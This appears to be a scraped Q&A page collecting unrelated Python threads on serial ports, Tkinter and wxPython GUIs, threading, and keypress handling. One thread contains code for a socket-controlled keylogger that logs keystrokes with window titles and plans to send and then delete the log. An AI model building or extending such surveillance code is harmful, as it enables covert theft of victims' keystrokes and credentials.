wxPython-Python:Serial port problems - python

I have create a code which opens a serial port where is an arduino connected and takes some data,so far so good,my problem is when I open my program and press the start button (which opens the serial port and wait receive the data from arduino) and I have forget for some reason to connect the arduino then obviously it doesn't do anything, when I plug it without close and open it again the program and press the start still it doesn't work.Obvious if I restart the program there is no issue but how can I solve this without restarting the program?My second issue is when my program works and receiving data and I disconnect the USB my program it doesn't close even if I press stop and try to close or if I connect it again the USB and afterwards try to close it,the only way to close it is from the Task manager.Why it happens this and how can I solve it?For the second issue I can't understand why when I close the program from the task manager and run it again still it dosn't work,works only if I unplug the USB and connect it again and rerun the program.
P.S: I know there is no obvious reasons to do such things but I'm curious and I wont to learn.
Here is the code from the start/stop button:
def onStartStopButton(self, event):
global a2
global q
global i
if not self.isLogging:
self.isLogging = True
self.ser = serial.Serial()
self.ser.baudrate = 38400
self.ser.timeout=0.25
# Try serial ports one by one starting
for m in range(29, 0, -1):
self.ser.port = m
try:
self.ser.open()
break
except:
# We end up here if this port number
# failed to open
pass
if self.ser.isOpen():
i=0
# We successfully opened a port, so start
self.timer.IsRunning()
self.t=time.time() -self.tZero
self.tZero=time.time()
self.timer.Stop()
self.timer.Start(100)
self.startbtn.SetLabel("Stop")
else:
i=1
self.timer.Stop()
self.ser.close()
self.isLogging = False
self.startbtn.SetLabel("Start")
a2 = True
def GetSample(self,event=None):
global a2
global a4
global a5
global b1
global b2
global b7
global h
global q
global arduinoDelay
global last_received1
global now
global array
a1=0
a3=0
self.t=time.time() -self.tZero
tiTuple=time.gmtime(self.t)
reste=self.t-tiTuple[3]*3600.0-tiTuple[4]*60.0-tiTuple[5]*1.0
resteS=("%.2f" % reste )[-2::]
tt=time.strftime("%H:%M:%S",tiTuple)
self.tAff.SetLabel(tt)
while a2:#send to arduino time refresh
for a1 in range (2):
self.ser.write(arduinoDelay)
time.sleep(0.5)
h=0
print "write to arduino delay ",arduinoDelay
a2=False
arduinoSensorNum = 'E'
if '1' in sensor_select:
arduinoSensorNum += '1'
if '2' in sensor_select:
arduinoSensorNum += '2'
if '3' in sensor_select:
arduinoSensorNum += '3'
if '4' in sensor_select:
arduinoSensorNum += '4'
if '5' in sensor_select:
arduinoSensorNum += '5'
if '6' in sensor_select:
arduinoSensorNum += '6'
arduinoSensorNum += '/'
a4=True
if (sensor_select == ''):#if no one sensor select--> enable all
arduinoSensorNum = 'E123456/'
while a4:#send arduino enable num sensors
for a3 in range (1):
self.ser.write(arduinoSensorNum)
time.sleep(0.5)
print "write to arduino sensor Num ",arduinoSensorNum
a4=False
if not h==1:
q=1
self.ser.write('S')
print "send S "
sample_string = self.ser.readline()
now = datetime.datetime.now()
if len(sample_string) == 15:#
sample_string = sample_string[0:-1]
sample_values = sample_string.split()
for m in range(self.M):
# get one value from sample
value = int(sample_values[m])
self.x[m][0:99] = self.x[m][1:]
self.x[m][99] = value
# Update plot
self.ax.cla()
self.ax.autoscale(False)
self.ax.set_xlim(0, self.N - 1)
self.ax.set_ylim(-100, 1100)
for m in range(self.M):
self.ax.plot(self.n, self.x[m])
self.canvas.draw()#
if not sample_string =='':
h=1#stop send start to arduino
if not b2 == True:
file_date = open("C:/TMS Data/date.txt","a")
file_date.write(now.strftime("%Y-%m-%d\n"))
file_date.write(now.strftime("%H:%M:%S\n"))
print "######################"
b2 = True
file_sensors = open("C:/TMS Data/sensors.txt","a")
file_sensors.write(sample_string)
print q
array[q]=sample_string
print array[q]
q=q+1
"""if q == 7 and i==1:
self.timer.Stop()
self.ser.close()
self.isLogging = False
#self.startbtn.SetLabel("Start")
a2 = True"""
if q == 7:
q=1
b2 = False
b7=True
if b7 == True:
self.textctrl0.Clear()
self.textctrl0.AppendText(array[1])
self.textctrl1.Clear()
self.textctrl1.AppendText(array[2])
self.textctrl2.Clear()
self.textctrl2.AppendText(array[3])
self.textctrl3.Clear()
self.textctrl3.AppendText(array[4])
self.textctrl4.Clear()
self.textctrl4.AppendText(array[5])
self.textctrl5.Clear()
self.textctrl5.AppendText(array[6])
b7=False
Ok I figured it out, the problem was the part with the quotes, the use of this part was when the user pressed the stop button the code continued until take the last value from the last sensor. The above problems was solved when I add this lines in onStartButtons define!
My new problem now is that if the user press stop and the arduino was sending the value from the sensor 3 how can I make it continue and take the other 3 values from sensors 4-5-6 and then to close the serial communication?

If the calls to your serial code are making your program unresponsive, then the serial call is likely blocking the GUI's mainloop. In that case, you'll want to do all your serial work in a separate thread and use wxPython's thread-safe methods to update the display. Those methods are wx.CallAfter, wx.CallLater, and wx.PostEvent. You can read more about wxPython and threading at the following:
http://wiki.wxpython.org/LongRunningTasks
http://www.blog.pythonlibrary.org/2010/05/22/wxpython-and-threads/
If you do attempt to call a wxPython method from a thread, the behavior will be undefined and you may or may not have immediate issues.
For serial issues, I would recommend reading the library's documentation and/or contacting their mailing list or dev team with questions/issues.

It sounds to me like this is an example of an old limitation regarding UNIX serial device access (one which was inherited by Linux). There are not OS native primitives preventing contention on the devices. If multiple processes open a serial device under Linux or UNIX then, generally, the they will always be racing for any input from the device (characters will be non-deterministically received by one or another process) and output will sporadically interleaved and blocked for all processes writing to the device.
Classically UNIX and Linux programs use locking files (such as /var/log/LCK..ttyS0) to co-ordinate access to these devices. This is explained in places like: Linux Serial HOWTO: Lockfiles and has been discussed a few times on StackOverflow Stack Overflow: How can you access a serial port from two different processes (Python)
Serial Communication one to one

Related

none stop while loop responsive to user key press

I have a while that do something in an infinite, nonstop loop.
It should not be stopped or wait for user input.
But I need user can stop while with specific key press.
For example if user press f do someting new or p something else.
How should I get user key press in a nonstop while?
n = 1
while True:
# do somthing
n += 1
if <press p >
# do task 1
if <press f >
# exit while
## do somthing else
I can't use keyboard library because need sudo privilege on Linux
As stated on "How about nope"'s answer, that is not straightforward.
One can either go into the low level of the input system and change some settings to allow for non-blocking keyboard reading, or makeuse of a thirdy party library that will do that and provide some friendly interface.
terminedia is one such 3rdy party project - among other niceties, it implements the inkey() call which is similar to old-time BASIC function with the same name: it returns the key currently pressed, if there is one, or an empty string.
You just have to call it inside a context block using the terminedia keyboard: with terminedia.keyboard:
So, you have to first install terminedia in your Python environment with pip install terminedia. Then your code could be like this:
import terminedia as TM
n = 1
with TM.keyboard:
while True:
# do something
n += 1
if (pressed:=TM.inkey()) == "p":
# do task 1
if pressed == "f":
# exit while
break
Another advantage over writing the code to set stdin settings is that
terminedia keyboard input is multiplatform and will work in windows (though much of the other functionalities in the lib will be Unix only)
(disclaimer: I am the project author)
As #Kris said in comment, threading + queue can do a trick. Here is just an example, it needs a few fixes (messes up terminal look) but should be a great start for you (this won't work on windows in this form, but just to give you example how to use it). Also, before using threading please read docs of threading, especially parts about global interpreter lock
import sys
import tty
import threading
import queue
import termios
def watcher(q: queue.Queue):
# To bring back terminal look. More info here https://docs.python.org/3/library/termios.html
fd = sys.stdin.fileno()
old_Settings = termios.tcgetattr(fd)
while True:
# Reads 1 char form sdin without need of newline
tty.setraw(sys.stdin.fileno())
i = sys.stdin.read(1)
if i == "p":
q.put_nowait("p")
termios.tcsetattr(fd,termios.TCSADRAIN,old_Settings)
elif i == "f":
q.put_nowait("f")
termios.tcsetattr(fd,termios.TCSADRAIN,old_Settings)
break
def runner(q: queue.Queue):
n = 1
while True:
n += 1
# You need to check if q is empty, or It will throw an empty err
if not q.empty():
key = q.get_nowait()
if key == "f":
print("Got exit event after {} loops".format(n))
break
if key == "p":
print("Got p after {} loops".format(n))
if __name__ == "__main__":
# Queue setup and 2 threads.
q = queue.Queue()
x = threading.Thread(target=watcher, args=(q,))
x.start()
y = threading.Thread(target=runner, args=(q,))
y.start()
Output afrer running:
python3 ../../test.py
Got p after 1055953 loops
Got exit event after 4369605 loops

Python Socket function stopper

I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())
The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.

Tkinter GUI updating depending on serial connection

Good afternoon thank you all who look at my issue,
I am building a script to do initial configuration on switches through console port, I can make a connection to the console port the issue comes when building a GUI in TKINTER.
I want the gui to connect through a specified some port when the button is pressed and when the connection is made make a light(using canvas) go green showing a successful connection went through.
My issue is getting the light to change to green and stay when a connection is made I have tried
my initally also tried to use global then realized the window loop constantly set it back to red
nested while loop--- breaks Tkinker
importing a file I created called variableset which stores variable to set green but since it constantly has a new instance it just sets the variable in tinker back to red.
any help would be greatly appreciated
GUI CODE
import tkinter as tk
from tkinter import *
import connect
import variableset
setting = variableset.setting
window = tk.Tk()
window.title("Network Wizard 1")
window.geometry('300x500')
# setting =tk.IntVar()
# setting.set(variableset.setting)
#serial port pick the right one
serialportlabel = tk.Label(text="COM Number")
serialport = tk.Entry(width= 7)
serialportlabel.pack()
serialport.pack()
#color alerting!! red bad
alert = Canvas(window, width=50, height=20)
alert.pack()
if setting == 0:
a=alert.create_rectangle(5, 0, 50, 50, fill='red')
else:
a=alert.create_rectangle(5, 0, 50, 50, fill='green')
# #connection part woop woop
connection = tk.Button(text="connect", command = lambda: bus())
connection.pack()
# #firmwarecheck
# firmwarecheck = tk.Button(text="Firmware check")
# firmwarecheck.pack()
# #firmware update
# firmwareupdate= tk.Button(text="Firmware update")
# firmwareupdate.pack()
# #software update
# software = tk.Button(text="software update")
# connect.pack()
# #vmlans
# vlanupdate = tk.Button(text="Vlanupdate")
# vlanupdate.pack()
# disconnect = tk.Button(text="disconnect")
# disconnect.pack()
# qut = tk.Button(text="quite")
# qut.pack()
def bus():
global ser
ser = connect.connect(serialport.get())
global setting
setting = variableset.initial
# def firmware(ser):
# if ser.isOpen() == true :
window.mainloop()
Connect code
import serial
import time
import sys
#connect
def connect(com):
ser = serial.Serial(
port = com, #COM
baudrate=9600,
parity='N',
stopbits=1,
bytesize=8,
timeout=8
)
ser.isOpen()
print(ser.name)
#set variables
enter = str.encode('\r\n') #enter
user = str.encode('admin#sytem\r\n') #default user name
pwd = str.encode('\r\n') #defualt password
qut = str.encode('quit\r')
time.sleep(1.0)
# ser.inWaiting()
ser.write(enter) #promt login
time.sleep(0.5)
ser.write(user) #enter user name
time.sleep(0.5)
ser.write(pwd) #enter password
time.sleep(0.5)
ser.write(enter)
time.sleep(0.5)
ser.write(enter)
time.sleep(0.5)
ser.write(str.encode("sytem\r\n"))
time.sleep(0.5)
ser.write(qut)
ser.write(qut)
input_read = ser.read(500)
input_read = input_read.decode("utf-8","ignore")
print(input_read)
ser.close()
return ser
def write(ser):
ser.write(str.encode(''+'\r\n'))
def disconnect(ser):
ser.write(str.encode('quit\r\n'))
time.sleep(.2)
ser.write(str.encode('quit\r\n'))
time.sleep(.2)
ser.write(str.encode('quit\r\n'))
time.sleep(.2)
ser.close()
Variableset Code
global setting
setting = 0
def initial():
global setting
setting = 1
return setting
def unset():
global setting
setting = 0
return setting
Any help greatly appreciated
Your if-else statement only runs once, before the setting variable has been set, as far as we can tell. It's not in a loop or a function that gets called from somewhere else. What exactly is the problem you're having with the code that you posted? The issues you described seem to relate to a loop setting it back to red in a different version of the code.
In any event, I suspect that your problem is trying to use infinite loops to keep checking the setting, which prevents the tkinter mainloop() from running, and therefore blocks the GUI from updating. If so, the best method to fix it is probably to change your code for "check the setting and then change the color" into its own function, which gets called for the first time at the end of your connect function. Then, the end of the check setting function should schedule itself to be run after a time delay using the tkinter after() method, which is non-blocking (asnychronous) and allows the mainloop() to keep running. Alternative methods include a separate thread to run the check-setting code, or using the tkinter update() method, but after() is easiest.
Note that your sleep() functions in the connect code will also block the mainloop while they're running. I'm also not clear what you're trying to do with the variableset code; it appears to set the setting to 1 (aka green light) when you call initial(), regardless of the actual status on the serial port.

Update Tkinter from within an Exscript function

I am writing a Python script that uses Exscript to log into network switches to gather information. I'm using Tkinter to present a graphical interface.
I'm trying to create a canvas window with status so that when the "go" button is clicked, the status windows is made visible and as the script logs into devices a label on the status window is updated (logging into device x of y).
I found the .update() and .update_idletasks(), which works when I enter the initial function (clicking the go button), but updating the label happens 2 functions deep in the Exscript start() function. In there anything I do to my canvas causes the script to hang and I have to force close it.
onhost = 0
hostcount = 0
def go_main():
canvas.itemconfig(statuswindow, state='normal')
canvas.itemconfig(statuslabel_window, state='normal')
canvas.update()
filename = InvEntry.get()
accounts = [Account(unameEntry.get(), pwordEntry.get())]
workbook = xlrd.open_workbook(filename)
sheet = workbook.sheet_by_name("Infrastructure")
global hostcount
hostcount = sheet.nrows
hosts = []
for x in range (1, hostcount):
hosts.append(conproto.get() + "://" + sheet.cell_value(x, 0))
start(accounts, hosts, login_func)
def login_func(job, host, conn):
global onhost
global hostcount
onhost = onhost + 1
newstat = "Gathering MACs on switch %s of %s..." % (onhost, hostcount)
stat.set(newstat)
#canvas.update()
conn.execute('term len 0') #We don't want a pause in the output
conn.execute('sh ver') #Make sure we're a Nexus or Catalyst switch before continuing
r = conn.response
if r != '' and ('nx-os' or 'catalyst') in r.lower():
#Grab the device's hostname:
As soon as it hits the "stat.set(newstat)" line it hangs. What am I doing wrong? Sorry if I slaughtered all the programmer lingo, I'm a network engineer pretending to be a programmer. Thanks!

Python threading question - returning control to parent

Basically, I have a python program which listens for DeviceAdded DBus events (e.g. when someone plugs in a USB drive), and when an event occurs, I want to create a thread which collects metadata on that newly connected device. However, I want to do this asynchronously - that is, allow one thread to keep collecting metadata on the device while returning control to the parent which can keep listening for these events. At the moment, my thread blocks until the collection is finished. Here is a sample of my code:
class DeviceAddedListener:
def __init__(self):
self.bus = dbus.SystemBus()
self.hal_manager_obj = self.bus.get_object("org.freedesktop.Hal", "/org$
self.hal_manager = dbus.Interface(self.hal_manager_obj, "org.freedeskto$
self.hal_manager.connect_to_signal("DeviceAdded", self._filter)
def _filter(self, udi):
device_obj = self.bus.get_object ("org.freedesktop.Hal", udi)
device = dbus.Interface(device_obj, "org.freedesktop.Hal.Device")
if device.QueryCapability("volume"):
return self.capture(device)
def capture(self,volume):
self.device_file = volume.GetProperty("block.device")
self.label = volume.GetProperty("volume.label")
self.fstype = volume.GetProperty("volume.fstype")
self.mounted = volume.GetProperty("volume.is_mounted")
self.mount_point = volume.GetProperty("volume.mount_point")
try:
self.size = volume.GetProperty("volume.size")
except:
self.size = 0
print "New storage device detected:"
print " device_file: %s" % self.device_file
print " label: %s" % self.label
print " fstype: %s" % self.fstype
if self.mounted:
print " mount_point: %s" % self.mount_point
response = raw_input("\nWould you like to acquire %s [y/N]? " % self.device_file)
if (response == "y"):
self.get_meta()
thread.start_new_thread(DoSomething(self.device_file))
else:
print "Returning to idle"
if __name__ == '__main__':
from dbus.mainloop.glib import DBusGMainLoop
DBusGMainLoop(set_as_default=True)
loop = gobject.MainLoop()
DeviceAddedListener()
loop.run()
Any thoughts would be greatly appreciated :) I have excluded the import list to save space
Try spawning a thread just for the capture stuff, by changing the following lines in your _filter() function to this:
if device.QueryCapability("volume"):
threading.start_new_thread(self.capture, (device))
This is assuming that the bulk of the work is happening in the capture() function. If not, then just spawn the thread a little earlier, possibly on the whole _filter() function.
This should then spawn a new thread for every filtered device detected. Bear in mind that I haven't done any dbus stuff and can't really test this, but it's an idea.
Also, you're trying to get user input from the capture function which, using the app as you've defined it, isn't really a nice thing to do in threads. What if a second device is connected while the first prompt is still on screen? Might not play nicely.
The design of this thing might be exactly the way you want it for specific reasons, but I can't help feeling like it could be a lot slicker. It's not really designed with threads in mind from what I can tell.

Categories

Resources